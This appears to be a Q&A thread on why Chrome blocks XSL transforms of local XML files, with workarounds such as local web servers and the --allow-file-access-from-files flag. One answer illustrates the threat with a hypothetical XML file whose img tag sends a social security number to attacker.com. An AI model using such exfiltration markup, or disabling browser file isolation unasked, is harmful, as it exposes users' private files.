Can Chrome be made to perform an XSL transform on a local file?

Question

I was looking into xslt and started testing with the examples on w3schools.

However, when I save the xml and xsl in files and try opening them locally, chrome won't perform the xsl transform. It just shows a blank page.

I have added the<?xml-stylesheet type="text/xsl" href="style.xsl"> tag to the xml document, and firefox renders it as it is supposed to look. Also, if I look at the files through a web server, chrome displays the file as it is supposed to look.

Is it that chrome has a problem finding the stylesheet information when the link is local? Changing the href to file:///C:/xsl/style.xsl didn't make any difference.

Update: This seems to be a side effect of a security-policy to not treat file:///* as same origin. This makes the following error appear in the console:

Unsafe attempt to load URL file:///C:/xsl-rpg/style.xsl from frame with URL file:///C:/xsl-rpg/data.xml. Domains, protocols and ports must match.

Answer 1

You can do this locally by running Chrome with --allow-file-access-from-files flag.

On OS X, from Terminal app run:
/Applications/Google\ Chrome.app/contents/MacOS/Google\ Chrome --allow-file-access-from-files

On Windows: from the command prompt run:
path\to\your\chrome\chrome.exe --allow-file-access-from-files

Note: You will probably have to quit Chrome if it is currently running.

Answer 2

1. Create a batch file like as below and save it to a location for ex: chromex.cmd.

   "C:\Program Files\Google\Chrome\Application\Chrome.exe" --user-data-dir=C:\Temp --allow-file-access-from-files %1

2. set default app to chromex.cmd for .xml files .

Answer 3

The simplest and quick workaround for this is to install the Web Server for Chrome which is open source.

https://chrome.google.com/webstore/detail/web-server-for-chrome/ofhbbkphhbklhfoeikjpcbhemlocgigb?hl=en

Once installed need to select a folder which will can be accessible as the server from the Chrome tab with default URL as - ​http://127.0.0.1:8887/

Now one can put XML files and stylesheet folder/files under the selected folder in step 2. XML file should have reference to stylesheet file and can directly open the XML file to view the stylesheet.

Answer 4

You can enable Chrome to render the XSL file by changing your browser settings. A safer approach would be to access it via a local webserver, such as Visual Studio Code Live Server or Apache. See XSLT Won't Render on Local Files for steps.

Answer 5

My workaround to see an xml according to an xsl file

Suppose we have an some_file.xml with headers:

<?xml version="1.0" encoding="UTF-8" ?>
<?xml-stylesheet type="text/xsl" href="https://some-site.com/Common.xsl"?>

1. We download the file https://some-site.com/Common.xsl and place it next to the some_file.xml
2. Change part of our header from href="https://some-site.com/Common.xsl" to href="http://localhost:8001/Common.xsl"
3. Run in the directory with our files - python3 -m http.server 8001
4. Open in any browser http://localhost:8001/some_file.xml

Answer 6

If you want to stick to the OP, the answer is No (as others have pointed out) but one way to fix the problem is to run a simple webserver and open files via http in chrome. If you have python 2.x installed, you can run a webserver by typing:

python -m SimpleHTTPServer

Or in python 3.x :

python3 -m http.server

and then open file using http://localhost:8000/yourfile.xml in chrome. Hopefully you just want to get your work done and its not a crucial thing to have to open file using file://

Answer 7

It took a bit of deciphering on the Chrome Bug page - they are very keen on not explaining what the problem is, and why they chose breaking everyone rather than not breaking everyone.

Assume i have an XML file - somewhere - on my hard drive, e.g.:

C:\Users\Ian\Documents\Taxes\StudioTaxReturn_2015.xml

And a malicious entity - somehow - managed to drop a malicious Xml file on my computer, e.g.:

C:\Users\Ian\AppData\LocalLow\Temp\TrojanVirusWorm.xml

Imagine TrojanVirusWorm.xml contains a stylesheet Processing Instruction (PI):

<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<?xml-stylesheet type="text/xsl" href="file://C:/Users/Ian/Documents/Taxes/StudioTaxReturn_2015.xml""?>

The attacker then instructs my browser to navigate to the locally saved trojanVirusWorm.xml file.

Apparently there's a way that an XML file can read the contents of the XSD file (rather than being transformed by the XSD file):

<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<?xml-stylesheet type="text/xsl" href="file://C:/Users/Ian/Documents/Taxes/StudioTaxReturn_2015.xml""?>
   <!--And then a miracle happens, and this XML file is able to read
       the contents of the stylesheet xml file-->
<html>
   <img src="http://attacker.com/UploadSocialSecurityNumber&ssn=..."></img>
</html>

I don't understand how an XML file can read a stylesheet file. But the Chrome team assures us that it's a danger, and that it cannot be solved.

Every other browser solved it. They solved it because it's not a problem.

Answer 8

The short answer is "No, use one of the diverse set of browsers out there".

The reason this doesn't work is due to a security concern that Chrome has addressed in a controversial way^[1][2][3][4], by blocking XML files from accessing local XSLT files in the same directory, while HTML files can access .CSS files in the same directory just fine.

Across the issues cited above, users have asked for a clearer error message (since the domains, protocols and ports do in fact match), or at least displaying the XML without the styling. Chrome developers have ignored these requests.